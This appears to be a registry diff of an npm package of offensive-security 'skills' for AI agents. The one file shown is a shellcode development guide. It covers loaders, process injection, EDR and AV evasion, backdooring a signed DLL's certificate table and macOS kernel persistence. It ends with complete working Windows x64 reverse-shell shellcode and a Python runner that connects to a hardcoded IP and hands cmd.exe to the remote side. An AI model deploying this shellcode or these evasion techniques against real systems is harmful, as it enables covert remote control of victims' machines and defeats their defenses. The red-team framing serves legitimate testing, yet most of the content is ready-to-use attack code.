@aegis-scan/skills 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/ATTRIBUTION.md +75 -0
- package/CHANGELOG.md +129 -0
- package/LICENSE +21 -0
- package/README.md +123 -0
- package/dist/bin.d.ts +3 -0
- package/dist/bin.d.ts.map +1 -0
- package/dist/bin.js +122 -0
- package/dist/bin.js.map +1 -0
- package/dist/commands/info.d.ts +5 -0
- package/dist/commands/info.d.ts.map +1 -0
- package/dist/commands/info.js +75 -0
- package/dist/commands/info.js.map +1 -0
- package/dist/commands/install.d.ts +7 -0
- package/dist/commands/install.d.ts.map +1 -0
- package/dist/commands/install.js +87 -0
- package/dist/commands/install.js.map +1 -0
- package/dist/commands/list.d.ts +7 -0
- package/dist/commands/list.d.ts.map +1 -0
- package/dist/commands/list.js +82 -0
- package/dist/commands/list.js.map +1 -0
- package/dist/index.d.ts +13 -0
- package/dist/index.d.ts.map +1 -0
- package/dist/index.js +13 -0
- package/dist/index.js.map +1 -0
- package/dist/skills-loader.d.ts +23 -0
- package/dist/skills-loader.d.ts.map +1 -0
- package/dist/skills-loader.js +213 -0
- package/dist/skills-loader.js.map +1 -0
- package/package.json +63 -0
- package/skills/defensive/README.md +9 -0
- package/skills/mitre-mapped/README.md +10 -0
- package/skills/offensive/snailsploit-fork/advanced-redteam/SKILL.md +148 -0
- package/skills/offensive/snailsploit-fork/ai-security/SKILL.md +592 -0
- package/skills/offensive/snailsploit-fork/basic-exploitation/SKILL.md +10783 -0
- package/skills/offensive/snailsploit-fork/bug-identification/SKILL.md +1256 -0
- package/skills/offensive/snailsploit-fork/crash-analysis/SKILL.md +12466 -0
- package/skills/offensive/snailsploit-fork/deserialization/SKILL.md +185 -0
- package/skills/offensive/snailsploit-fork/edr-evasion/SKILL.md +1806 -0
- package/skills/offensive/snailsploit-fork/exploit-dev-course/SKILL.md +428 -0
- package/skills/offensive/snailsploit-fork/exploit-development/SKILL.md +699 -0
- package/skills/offensive/snailsploit-fork/fast-checking/SKILL.md +487 -0
- package/skills/offensive/snailsploit-fork/file-upload/SKILL.md +822 -0
- package/skills/offensive/snailsploit-fork/fuzzing/SKILL.md +340 -0
- package/skills/offensive/snailsploit-fork/fuzzing-course/SKILL.md +2105 -0
- package/skills/offensive/snailsploit-fork/graphql/SKILL.md +209 -0
- package/skills/offensive/snailsploit-fork/idor/SKILL.md +608 -0
- package/skills/offensive/snailsploit-fork/initial-access/SKILL.md +1528 -0
- package/skills/offensive/snailsploit-fork/jwt/SKILL.md +276 -0
- package/skills/offensive/snailsploit-fork/keylogger-arch/SKILL.md +197 -0
- package/skills/offensive/snailsploit-fork/mitigations/SKILL.md +1351 -0
- package/skills/offensive/snailsploit-fork/oauth/SKILL.md +366 -0
- package/skills/offensive/snailsploit-fork/open-redirect/SKILL.md +487 -0
- package/skills/offensive/snailsploit-fork/osint/SKILL.md +399 -0
- package/skills/offensive/snailsploit-fork/osint-methodology/SKILL.md +434 -0
- package/skills/offensive/snailsploit-fork/parameter-pollution/SKILL.md +595 -0
- package/skills/offensive/snailsploit-fork/race-condition/SKILL.md +881 -0
- package/skills/offensive/snailsploit-fork/rce/SKILL.md +1069 -0
- package/skills/offensive/snailsploit-fork/request-smuggling/SKILL.md +773 -0
- package/skills/offensive/snailsploit-fork/shellcode/SKILL.md +477 -0
- package/skills/offensive/snailsploit-fork/sqli/SKILL.md +372 -0
- package/skills/offensive/snailsploit-fork/ssrf/SKILL.md +830 -0
- package/skills/offensive/snailsploit-fork/ssti/SKILL.md +349 -0
- package/skills/offensive/snailsploit-fork/vuln-classes/SKILL.md +1229 -0
- package/skills/offensive/snailsploit-fork/waf-bypass/SKILL.md +820 -0
- package/skills/offensive/snailsploit-fork/windows-boundaries/SKILL.md +15153 -0
- package/skills/offensive/snailsploit-fork/windows-mitigations/SKILL.md +14546 -0
- package/skills/offensive/snailsploit-fork/xss/SKILL.md +784 -0
- package/skills/offensive/snailsploit-fork/xxe/SKILL.md +996 -0
- package/skills/ops/README.md +6 -0
|
@@ -0,0 +1,477 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-04-23 from SnailSploit/Claude-Red@c74d53e2938b59f111572e0819265a1e73029393; attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: offensive-shellcode
|
|
5
|
+
description: "Shellcode development reference for offensive security engagements. Use when writing custom x86/x64 shellcode, implementing position-independent code (PIC), building shellcode loaders, evading AV/EDR detection, or converting PE files to shellcode. Covers null byte avoidance, API hashing, encoder/decoder patterns, staged vs stageless payloads, Windows PEB traversal, and cross-platform shellcode techniques."
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Shellcode Development Workflow
|
|
9
|
+
|
|
10
|
+
1. Define concept and target platform (x86/x64, Windows/Linux/macOS)
|
|
11
|
+
2. Write assembly using position-independent techniques
|
|
12
|
+
3. Extract binary and test in controlled environment
|
|
13
|
+
4. Apply null byte avoidance and optimizations
|
|
14
|
+
5. Encode/encrypt to evade static detection
|
|
15
|
+
6. Package with loader and choose delivery method
|
|
16
|
+
|
|
17
|
+
---
|
|
18
|
+
|
|
19
|
+
## Basic Concepts
|
|
20
|
+
|
|
21
|
+
### Execution Pattern (Allocate-Write-Execute)
|
|
22
|
+
|
|
23
|
+
Avoid direct `PAGE_EXECUTE_READWRITE` — prefer:
|
|
24
|
+
1. Allocate with `PAGE_READWRITE`
|
|
25
|
+
2. Write shellcode to allocated region
|
|
26
|
+
3. Call `VirtualProtect` to switch to `PAGE_EXECUTE_READ`
|
|
27
|
+
|
|
28
|
+
```c
|
|
29
|
+
char *dest = VirtualAlloc(NULL, 0x1234, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
|
|
30
|
+
memcpy(dest, shellcode, 0x1234);
|
|
31
|
+
VirtualProtect(dest, 0x1234, PAGE_EXECUTE_READ, &old);
|
|
32
|
+
((void(*)())dest)();
|
|
33
|
+
```
|
|
34
|
+
|
|
35
|
+
### Position-Independent Code (PIC) Techniques
|
|
36
|
+
|
|
37
|
+
| Method | Platform | Notes |
|
|
38
|
+
|--------|----------|-------|
|
|
39
|
+
| Call/Pop | Windows | Push next addr, pop into register |
|
|
40
|
+
| FPU state | Windows | `fstenv` saves instruction pointer |
|
|
41
|
+
| SEH | Windows | Exception handler stores EIP |
|
|
42
|
+
| GOT | Linux | Global Offset Table |
|
|
43
|
+
| VDSO | Linux | Kernel-provided shared object |
|
|
44
|
+
|
|
45
|
+
---
|
|
46
|
+
|
|
47
|
+
## Windows API Resolution (PEB Walk)
|
|
48
|
+
|
|
49
|
+
Identifying `kernel32.dll` without imports:
|
|
50
|
+
|
|
51
|
+
1. Get `PEB` via `gs:[0x60]` (x64) or `fs:[0x30]` (x86)
|
|
52
|
+
2. Walk `PEB->Ldr.InMemoryOrderModuleList` — order: exe → ntdll → kernel32
|
|
53
|
+
3. Hash-compare module names to locate `kernel32`
|
|
54
|
+
4. Parse the Export Address Table (EAT)
|
|
55
|
+
5. Find `GetProcAddress` by name hash, then resolve `LoadLibraryA`
|
|
56
|
+
6. Use `LoadLibraryA` to load `WS2_32.dll`, resolve Winsock functions
|
|
57
|
+
|
|
58
|
+
**WinDbg helpers for debugging PEB walk:**
|
|
59
|
+
```bash
|
|
60
|
+
dt nt!_TEB -y ProcessEnvironmentBlock @$teb
|
|
61
|
+
dt nt!_PEB -y Ldr <peb_addr>
|
|
62
|
+
dt -r _PEB_LDR_DATA <ldr_addr>
|
|
63
|
+
dt _LDR_DATA_TABLE_ENTRY (<init_flink_addr> - 0x10)
|
|
64
|
+
lm m kernel32 # verify base address
|
|
65
|
+
r @r8 # check register
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
---
|
|
69
|
+
|
|
70
|
+
## Shellcode Loaders
|
|
71
|
+
|
|
72
|
+
### Loader Responsibilities
|
|
73
|
+
|
|
74
|
+
- Environment verification / keying (sandbox detection)
|
|
75
|
+
- Shellcode decryption
|
|
76
|
+
- Safe memory allocation and injection
|
|
77
|
+
- Ends its duties after injecting
|
|
78
|
+
|
|
79
|
+
**Recommended languages:** Zig (small, no runtime), Rust (secure), Nim, Go (watch for runtime signatures)
|
|
80
|
+
|
|
81
|
+
### Allocation Phase
|
|
82
|
+
|
|
83
|
+
Avoid `RWX` allocations — use two-step:
|
|
84
|
+
- `VirtualAllocEx` / `NtAllocateVirtualMemory` — allocate `RW`
|
|
85
|
+
- `ZwCreateSection` + `NtMapViewOfSection` — alternative approach
|
|
86
|
+
- After writing: `VirtualProtectEx` to switch to `RX`
|
|
87
|
+
|
|
88
|
+
**Other options:** code caves, stack/heap (with DEP disabled)
|
|
89
|
+
|
|
90
|
+
### Write Phase
|
|
91
|
+
|
|
92
|
+
- `WriteProcessMemory` / `NtWriteVirtualMemory`
|
|
93
|
+
- `memcpy` to mapped section
|
|
94
|
+
|
|
95
|
+
**Evasion tips:**
|
|
96
|
+
- Prepend shellcode with dummy opcodes
|
|
97
|
+
- Split into chunks, write in randomized order
|
|
98
|
+
- Add delays between writes
|
|
99
|
+
|
|
100
|
+
### Execute Phase
|
|
101
|
+
|
|
102
|
+
Most scrutinized step — EDR checks thread start address against image-backed memory:
|
|
103
|
+
|
|
104
|
+
| Technique | Notes |
|
|
105
|
+
|-----------|-------|
|
|
106
|
+
| `CreateRemoteThread` / `ZwCreateThreadEx` | Loud, heavily monitored |
|
|
107
|
+
| `NtSetContextThread` | Hijack suspended thread |
|
|
108
|
+
| `NtQueueApcThreadEx` | APC injection |
|
|
109
|
+
| API trampolines | Overwrite function prologue |
|
|
110
|
+
| ThreadlessInject | No new threads created |
|
|
111
|
+
|
|
112
|
+
**Indirect execution resources:**
|
|
113
|
+
- [FlavorTown](https://github.com/Wra7h/FlavorTown)
|
|
114
|
+
- [AlternativeShellcodeExec](https://github.com/aahmad097/AlternativeShellcodeExec)
|
|
115
|
+
- [ThreadlessInject](https://github.com/epi052/ThreadlessInject)
|
|
116
|
+
|
|
117
|
+
---
|
|
118
|
+
|
|
119
|
+
## PE-to-Shellcode Conversion
|
|
120
|
+
|
|
121
|
+
| Tool | Purpose |
|
|
122
|
+
|------|---------|
|
|
123
|
+
| [Donut](https://github.com/TheWover/donut) | EXE/DLL → shellcode |
|
|
124
|
+
| [sRDI](https://github.com/monoxgas/sRDI) | DLL → position-independent shellcode |
|
|
125
|
+
| [Pe2shc](https://github.com/hasherezade/pe_to_shellcode) | PE → shellcode |
|
|
126
|
+
| [Amber](https://github.com/EgeBalci/amber) | Reflective PE packer |
|
|
127
|
+
|
|
128
|
+
**Open-source loaders:**
|
|
129
|
+
- [ScareCrow](https://github.com/optiv/ScareCrow)
|
|
130
|
+
- [NimPackt-v1](https://github.com/chvancooten/NimPackt-v1)
|
|
131
|
+
- [NullGate](https://github.com/specterops/NullGate) — indirect syscalls + junk-write sequencing
|
|
132
|
+
- [DripLoader](https://github.com/xuanxuan0/DripLoader) — chunked RW writes + direct syscalls + JMP trampoline
|
|
133
|
+
- [ProtectMyTooling](https://github.com/mgeeky/ProtectMyTooling) — chain multiple protections
|
|
134
|
+
- Direct-syscall helpers: SysWhispers3, FreshyCalls (now baseline requirements)
|
|
135
|
+
|
|
136
|
+
---
|
|
137
|
+
|
|
138
|
+
## Shellcode Storage & Hiding
|
|
139
|
+
|
|
140
|
+
| Location | Risk | Notes |
|
|
141
|
+
|----------|------|-------|
|
|
142
|
+
| Hardcoded in `.text` | Medium | Requires recompile; stored `RW/RO` |
|
|
143
|
+
| PE Resources (`RCDATA`) | High | Most scanned by AV |
|
|
144
|
+
| Extra PE section | Medium | Use second-to-last section |
|
|
145
|
+
| Certificate Table | Low | Keeps signed PE signature intact |
|
|
146
|
+
| Internet-hosted | Variable | [SharpShooter](https://github.com/mdsecactivebreach/SharpShooter) |
|
|
147
|
+
|
|
148
|
+
**Certificate Table technique** (recommended):
|
|
149
|
+
- Pad Certificate Table with shellcode bytes; update PE headers
|
|
150
|
+
- Backdoor only the loader DLL (e.g., `ffmpeg.dll` in `teams.exe`)
|
|
151
|
+
- Main executable signature remains valid; only the DLL signature breaks
|
|
152
|
+
|
|
153
|
+
**Protection:** Compress with LZMA; encrypt with XOR32, RC4, or AES before storing.
|
|
154
|
+
|
|
155
|
+
> **Windows 11 24H2 note:** AMSI heap scanning is active. Allocate with `PAGE_NOACCESS`, decrypt in place, then switch to `PAGE_EXECUTE_READ` to avoid live-heap scans.
|
|
156
|
+
|
|
157
|
+
---
|
|
158
|
+
|
|
159
|
+
## Evasion
|
|
160
|
+
|
|
161
|
+
### Progressive Evasion Escalation
|
|
162
|
+
|
|
163
|
+
1. Basic shellcode execution (baseline)
|
|
164
|
+
2. Add XOR/AES encryption + obfuscation
|
|
165
|
+
3. Direct syscalls to bypass userland hooks
|
|
166
|
+
4. Remote process injection as last resort
|
|
167
|
+
|
|
168
|
+
### Local vs Remote Injection
|
|
169
|
+
|
|
170
|
+
Remote injection is more detectable:
|
|
171
|
+
- `CFG` / `CIG` enforcement
|
|
172
|
+
- ETW Ti feeds
|
|
173
|
+
- EDR call-stack back-tracing (`NtOpenProcess` invocation source)
|
|
174
|
+
- More scrutinized steps: OpenProcess → Allocate → Write → Execute
|
|
175
|
+
|
|
176
|
+
**Defender bypass tools** ([DefenderBypass](https://github.com/hackmosphere/DefenderBypass)):
|
|
177
|
+
- `myEncoder3.py` — XOR-encrypt binary shellcode
|
|
178
|
+
- `InjectBasic.cpp` — basic C++ injector
|
|
179
|
+
- `InjectCryptXOR.cpp` — XOR decrypt + inject
|
|
180
|
+
- `InjectSyscall-LocalProcess.cpp` — direct syscalls, no suspicious IAT entries
|
|
181
|
+
- `InjectSyscall-RemoteProcess.cpp` — remote process injection via direct syscalls
|
|
182
|
+
|
|
183
|
+
---
|
|
184
|
+
|
|
185
|
+
## Cross-Platform Considerations
|
|
186
|
+
|
|
187
|
+
### Windows on ARM64 (WoA)
|
|
188
|
+
|
|
189
|
+
- Syscalls use `SVC 0` with ARM64 table in `ntdll!KiServiceTableArm64`
|
|
190
|
+
- Pointer Authentication (PAC) signs LR — avoid stack pivots or re-sign with `PACIASP`
|
|
191
|
+
|
|
192
|
+
### Linux 6.9+ (eBPF Arena)
|
|
193
|
+
|
|
194
|
+
- `BPF_MAP_TYPE_ARENA` maps can hold executable memory
|
|
195
|
+
- Hide shellcode chunks in arena map, execute via `bpf_prog_run_pin_on_cpu`
|
|
196
|
+
|
|
197
|
+
### macOS (Signed System Volume)
|
|
198
|
+
|
|
199
|
+
- macOS 12+ seals the system partition; unsigned payloads cannot reside there
|
|
200
|
+
- Userspace: launch agents, dylib hijacks in `/Library/Apple/System/Library/Dyld/`
|
|
201
|
+
- Kernel persistence: create sealed snapshot, mount RW, inject, resign with `kmutil`, bless
|
|
202
|
+
|
|
203
|
+
---
|
|
204
|
+
|
|
205
|
+
## DripLoader Technique
|
|
206
|
+
|
|
207
|
+
[github.com/xuanxuan0/DripLoader](https://github.com/xuanxuan0/DripLoader):
|
|
208
|
+
|
|
209
|
+
1. Reserve 64KB chunks with `NO_ACCESS`
|
|
210
|
+
2. Allocate 4KB `RW` chunks within that pool
|
|
211
|
+
3. Write shellcode in chunks in randomized order
|
|
212
|
+
4. Re-protect to `RX`
|
|
213
|
+
5. Overwrite prologue of `ntdll!RtlpWow64CtxFromAmd64` with JMP trampoline
|
|
214
|
+
6. All calls via direct syscalls: `NtAllocateVirtualMemory`, `NtWriteVirtualMemory`, `NtCreateThreadEx`
|
|
215
|
+
|
|
216
|
+
---
|
|
217
|
+
|
|
218
|
+
## Full x64 Reverse Shell Shellcode (Windows)
|
|
219
|
+
|
|
220
|
+
Complete Python/Keystone example implementing PEB walk → `GetProcAddress` → `LoadLibraryA` → Winsock connect → `CreateProcessA(cmd.exe)`:
|
|
221
|
+
|
|
222
|
+
```python
|
|
223
|
+
import ctypes, struct
|
|
224
|
+
from keystone import *
|
|
225
|
+
|
|
226
|
+
CODE = (
|
|
227
|
+
# Locate kernel32 Base Address
|
|
228
|
+
" start: "
|
|
229
|
+
" add rsp, 0xfffffffffffffdf8 ;" # Avoid Null Byte and make some space
|
|
230
|
+
" find_kernel32: "
|
|
231
|
+
" int3 ;" # WinDbg breakpoint (disable for release)
|
|
232
|
+
" xor rcx, rcx ;"
|
|
233
|
+
" mov rax, gs:[rcx + 0x60] ;" # RAX = PEB
|
|
234
|
+
" mov rax, [rax + 0x18] ;" # RAX = PEB->Ldr
|
|
235
|
+
" mov rsi, [rax + 0x20] ;" # RSI = InMemoryOrderModuleList
|
|
236
|
+
" lodsq ;"
|
|
237
|
+
" xchg rax, rsi ;"
|
|
238
|
+
" lodsq ;"
|
|
239
|
+
" mov rbx, [rax + 0x20] ;" # RBX = kernel32 base
|
|
240
|
+
" mov r8, rbx ;"
|
|
241
|
+
# Parse Export Address Table
|
|
242
|
+
" mov ebx, [rbx+0x3C] ;" # PE signature offset
|
|
243
|
+
" add rbx, r8 ;" # RBX = PE header
|
|
244
|
+
" xor r12,r12 ;"
|
|
245
|
+
" add r12, 0x88FFFFF ;"
|
|
246
|
+
" shr r12, 0x14 ;"
|
|
247
|
+
" mov edx, [rbx+r12] ;" # EAT RVA
|
|
248
|
+
" add rdx, r8 ;" # RDX = EAT VA
|
|
249
|
+
" mov r10d, [rdx+0x14] ;" # NumberOfFunctions
|
|
250
|
+
" xor r11, r11 ;"
|
|
251
|
+
" mov r11d, [rdx+0x20] ;" # AddressOfNames RVA
|
|
252
|
+
" add r11, r8 ;" # AddressOfNames VA
|
|
253
|
+
# Find GetProcAddress
|
|
254
|
+
" mov rcx, r10 ;"
|
|
255
|
+
" k32findfunction: "
|
|
256
|
+
" jecxz functionfound ;"
|
|
257
|
+
" xor ebx,ebx ;"
|
|
258
|
+
" mov ebx, [r11+4+rcx*4] ;" # Function name RVA
|
|
259
|
+
" add rbx, r8 ;" # Function name VA
|
|
260
|
+
" dec rcx ;"
|
|
261
|
+
" mov rax, 0x41636f7250746547 ;" # 'GetProcA'
|
|
262
|
+
" cmp [rbx], rax ;"
|
|
263
|
+
" jnz k32findfunction ;"
|
|
264
|
+
# Get function address
|
|
265
|
+
" functionfound: "
|
|
266
|
+
" xor r11, r11 ;"
|
|
267
|
+
" mov r11d, [rdx+0x24] ;" # AddressOfNameOrdinals RVA
|
|
268
|
+
" add r11, r8 ;"
|
|
269
|
+
" inc rcx ;"
|
|
270
|
+
" mov r13w, [r11+rcx*2] ;" # Ordinal
|
|
271
|
+
" xor r11, r11 ;"
|
|
272
|
+
" mov r11d, [rdx+0x1c] ;" # AddressOfFunctions RVA
|
|
273
|
+
" add r11, r8 ;"
|
|
274
|
+
" mov eax, [r11+4+r13*4] ;"
|
|
275
|
+
" add rax, r8 ;" # GetProcAddress VA
|
|
276
|
+
" mov r14, rax ;" # R14 = GetProcAddress
|
|
277
|
+
# Resolve LoadLibraryA
|
|
278
|
+
" mov rcx, 0x41797261 ;"
|
|
279
|
+
" push rcx ;"
|
|
280
|
+
" mov rcx, 0x7262694c64616f4c ;"
|
|
281
|
+
" push rcx ;" # 'LoadLibraryA'
|
|
282
|
+
" mov rdx, rsp ;"
|
|
283
|
+
" mov rcx, r8 ;" # kernel32 base
|
|
284
|
+
" sub rsp, 0x30 ;"
|
|
285
|
+
" call r14 ;" # GetProcAddress(kernel32, LoadLibraryA)
|
|
286
|
+
" add rsp, 0x40 ;"
|
|
287
|
+
" mov rsi, rax ;" # RSI = LoadLibraryA
|
|
288
|
+
# LoadLibrary("WS2_32.dll")
|
|
289
|
+
" xor rax, rax ;"
|
|
290
|
+
" mov rax, 0x6C6C ;"
|
|
291
|
+
" push rax ;"
|
|
292
|
+
" mov rax, 0x642E32335F325357 ;"
|
|
293
|
+
" push rax ;" # 'WS2_32.dll'
|
|
294
|
+
" mov rcx, rsp ;"
|
|
295
|
+
" sub rsp, 0x30 ;"
|
|
296
|
+
" call rsi ;" # LoadLibraryA("WS2_32.dll")
|
|
297
|
+
" mov r15, rax ;" # R15 = WS2_32 base
|
|
298
|
+
" add rsp, 0x40 ;"
|
|
299
|
+
# WSAStartup
|
|
300
|
+
" mov rax, 0x7075 ;"
|
|
301
|
+
" push rax ;"
|
|
302
|
+
" mov rax, 0x7472617453415357 ;"
|
|
303
|
+
" push rax ;" # 'WSAStartup'
|
|
304
|
+
" mov rdx, rsp ;"
|
|
305
|
+
" mov rcx, r15 ;"
|
|
306
|
+
" sub rsp, 0x30 ;"
|
|
307
|
+
" call r14 ;" # GetProcAddress(ws2_32, WSAStartup)
|
|
308
|
+
" add rsp, 0x40 ;"
|
|
309
|
+
" mov r12, rax ;"
|
|
310
|
+
" xor rcx,rcx ;"
|
|
311
|
+
" mov cx,408 ;"
|
|
312
|
+
" sub rsp,rcx ;"
|
|
313
|
+
" lea rdx,[rsp] ;" # lpWSAData
|
|
314
|
+
" mov cx,514 ;" # wVersionRequired = 2.2
|
|
315
|
+
" sub rsp,88 ;"
|
|
316
|
+
" call r12 ;" # WSAStartup
|
|
317
|
+
# WSASocketA — create socket
|
|
318
|
+
" mov rax, 0x4174 ;"
|
|
319
|
+
" push rax ;"
|
|
320
|
+
" mov rax, 0x656b636f53415357 ;"
|
|
321
|
+
" push rax ;" # 'WSASocketA'
|
|
322
|
+
" mov rdx, rsp ;"
|
|
323
|
+
" mov rcx, r15 ;"
|
|
324
|
+
" sub rsp, 0x30 ;"
|
|
325
|
+
" call r14 ;"
|
|
326
|
+
" add rsp, 0x40 ;"
|
|
327
|
+
" mov r12, rax ;"
|
|
328
|
+
" sub rsp,0x208 ;"
|
|
329
|
+
" xor rdx, rdx ;"
|
|
330
|
+
" sub rsp, 88 ;"
|
|
331
|
+
" mov [rsp+32], rdx ;"
|
|
332
|
+
" mov [rsp+40], rdx ;"
|
|
333
|
+
" inc rdx ;"
|
|
334
|
+
" mov rcx, rdx ;"
|
|
335
|
+
" inc rcx ;"
|
|
336
|
+
" xor r8,r8 ;"
|
|
337
|
+
" add r8,6 ;"
|
|
338
|
+
" xor r9,r9 ;"
|
|
339
|
+
" mov r9w,98*4 ;"
|
|
340
|
+
" mov ebx,[r15+r9] ;"
|
|
341
|
+
" xor r9,r9 ;"
|
|
342
|
+
" call r12 ;" # WSASocketA
|
|
343
|
+
" mov r13, rax ;" # R13 = socket handle
|
|
344
|
+
" add rsp, 0x208 ;"
|
|
345
|
+
# WSAConnect — connect to C2
|
|
346
|
+
" mov rax, 0x7463 ;"
|
|
347
|
+
" push rax ;"
|
|
348
|
+
" mov rax, 0x656e6e6f43415357 ;"
|
|
349
|
+
" push rax ;" # 'WSAConnect'
|
|
350
|
+
" mov rdx, rsp ;"
|
|
351
|
+
" mov rcx, r15 ;"
|
|
352
|
+
" sub rsp, 0x30 ;"
|
|
353
|
+
" call r14 ;"
|
|
354
|
+
" add rsp, 0x40 ;"
|
|
355
|
+
" mov r12, rax ;"
|
|
356
|
+
" mov rcx, r13 ;" # socket handle
|
|
357
|
+
" sub rsp,0x208 ;"
|
|
358
|
+
" xor rax,rax ;"
|
|
359
|
+
" inc rax ;"
|
|
360
|
+
" inc rax ;"
|
|
361
|
+
" mov [rsp], rax ;" # AF_INET = 2
|
|
362
|
+
" mov rax, 0xbb01 ;" # Port 443 (big-endian)
|
|
363
|
+
" mov [rsp+2], rax ;"
|
|
364
|
+
" mov rax, 0x31061fac ;" # IP 172.31.6.49 — UPDATE THIS
|
|
365
|
+
" mov [rsp+4], rax ;"
|
|
366
|
+
" lea rdx,[rsp] ;"
|
|
367
|
+
" mov r8, 0x16 ;" # sizeof(sockaddr_in)
|
|
368
|
+
" xor r9,r9 ;"
|
|
369
|
+
" push r9 ;"
|
|
370
|
+
" push r9 ;"
|
|
371
|
+
" push r9 ;"
|
|
372
|
+
" sub rsp, 0x88 ;"
|
|
373
|
+
" call r12 ;" # WSAConnect
|
|
374
|
+
# Re-locate kernel32 and resolve CreateProcessA
|
|
375
|
+
" xor rcx, rcx ;"
|
|
376
|
+
" mov rax, gs:[rcx + 0x60] ;"
|
|
377
|
+
" mov rax, [rax + 0x18] ;"
|
|
378
|
+
" mov rsi, [rax + 0x20] ;"
|
|
379
|
+
" lodsq ;"
|
|
380
|
+
" xchg rax, rsi ;"
|
|
381
|
+
" lodsq ;"
|
|
382
|
+
" mov rbx, [rax + 0x20] ;"
|
|
383
|
+
" mov r8, rbx ;"
|
|
384
|
+
" mov rax, 0x41737365636f ;"
|
|
385
|
+
" push rax ;"
|
|
386
|
+
" mov rax, 0x7250657461657243 ;"
|
|
387
|
+
" push rax ;" # 'CreateProcessA'
|
|
388
|
+
" mov rdx, rsp ;"
|
|
389
|
+
" mov rcx, r8 ;"
|
|
390
|
+
" sub rsp, 0x30 ;"
|
|
391
|
+
" call r14 ;"
|
|
392
|
+
" add rsp, 0x40 ;"
|
|
393
|
+
" mov r12, rax ;" # R12 = CreateProcessA
|
|
394
|
+
# Push cmd.exe + build STARTUPINFOA
|
|
395
|
+
" mov rax, 0x6578652e646d63 ;"
|
|
396
|
+
" push rax ;" # 'cmd.exe'
|
|
397
|
+
" mov rcx, rsp ;" # lpApplicationName
|
|
398
|
+
" push r13 ;" # hStdError = socket
|
|
399
|
+
" push r13 ;" # hStdOutput = socket
|
|
400
|
+
" push r13 ;" # hStdInput = socket
|
|
401
|
+
" xor rax,rax ;"
|
|
402
|
+
" push ax ;"
|
|
403
|
+
" push rax ;"
|
|
404
|
+
" push rax ;"
|
|
405
|
+
" mov rax, 0x100 ;" # STARTF_USESTDHANDLES
|
|
406
|
+
" push ax ;"
|
|
407
|
+
" xor rax,rax ;"
|
|
408
|
+
" push ax ;"
|
|
409
|
+
" push ax ;"
|
|
410
|
+
" push rax ;"
|
|
411
|
+
" push rax ;"
|
|
412
|
+
" push rax ;"
|
|
413
|
+
" push rax ;"
|
|
414
|
+
" push rax ;"
|
|
415
|
+
" push rax ;"
|
|
416
|
+
" mov rax, 0x68 ;"
|
|
417
|
+
" push rax ;" # cb = 0x68
|
|
418
|
+
" mov rdi,rsp ;" # RDI = &STARTUPINFOA
|
|
419
|
+
# Call CreateProcessA
|
|
420
|
+
" mov rax, rsp ;"
|
|
421
|
+
" sub rax, 0x500 ;"
|
|
422
|
+
" push rax ;" # lpProcessInformation
|
|
423
|
+
" push rdi ;" # lpStartupInfo
|
|
424
|
+
" xor rax, rax ;"
|
|
425
|
+
" push rax ;" # lpCurrentDirectory = NULL
|
|
426
|
+
" push rax ;" # lpEnvironment = NULL
|
|
427
|
+
" push rax ;"
|
|
428
|
+
" inc rax ;"
|
|
429
|
+
" push rax ;" # bInheritHandles = TRUE
|
|
430
|
+
" xor rax, rax ;"
|
|
431
|
+
" push rax ;"
|
|
432
|
+
" push rax ;"
|
|
433
|
+
" push rax ;"
|
|
434
|
+
" push rax ;" # dwCreationFlags = 0
|
|
435
|
+
" mov r8, rax ;" # lpThreadAttributes = NULL
|
|
436
|
+
" mov r9, rax ;" # lpProcessAttributes = NULL
|
|
437
|
+
" mov rdx, rcx ;" # lpCommandLine = 'cmd.exe'
|
|
438
|
+
" mov rcx, rax ;" # lpApplicationName = NULL
|
|
439
|
+
" call r12 ;" # CreateProcessA
|
|
440
|
+
)
|
|
441
|
+
|
|
442
|
+
ks = Ks(KS_ARCH_X86, KS_MODE_64)
|
|
443
|
+
encoding, count = ks.asm(CODE)
|
|
444
|
+
print("Encoded %d instructions..." % count)
|
|
445
|
+
|
|
446
|
+
sh = b""
|
|
447
|
+
for e in encoding:
|
|
448
|
+
sh += struct.pack("B", e)
|
|
449
|
+
shellcode = bytearray(sh)
|
|
450
|
+
|
|
451
|
+
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
|
|
452
|
+
ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
|
|
453
|
+
ctypes.windll.kernel32.CreateThread.argtypes = (
|
|
454
|
+
ctypes.c_int, ctypes.c_int, ctypes.c_void_p,
|
|
455
|
+
ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int),
|
|
456
|
+
)
|
|
457
|
+
|
|
458
|
+
ptr = ctypes.windll.kernel32.VirtualAlloc(
|
|
459
|
+
ctypes.c_int(0), ctypes.c_int(len(shellcode)),
|
|
460
|
+
ctypes.c_int(0x3000), ctypes.c_int(0x40)
|
|
461
|
+
)
|
|
462
|
+
buf = (ctypes.c_char * len(shellcode)).from_buffer_copy(shellcode)
|
|
463
|
+
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), buf, ctypes.c_int(len(shellcode)))
|
|
464
|
+
|
|
465
|
+
print("Shellcode at %s" % hex(ptr))
|
|
466
|
+
input("Press ENTER to execute...")
|
|
467
|
+
|
|
468
|
+
ht = ctypes.windll.kernel32.CreateThread(
|
|
469
|
+
ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(ptr),
|
|
470
|
+
ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)),
|
|
471
|
+
)
|
|
472
|
+
ctypes.windll.kernel32.WaitForSingleObject(ht, -1)
|
|
473
|
+
```
|
|
474
|
+
|
|
475
|
+
> **Note:** Update IP (`0x31061fac`) and port (`0xbb01`) before use. Listener: `nc -nvlp 443`
|
|
476
|
+
>
|
|
477
|
+
> **Windows 11 23H2:** Smart App Control may block outbound TCP 443/4444 to local subnets. Use a non-standard port or a named-pipe payload.
|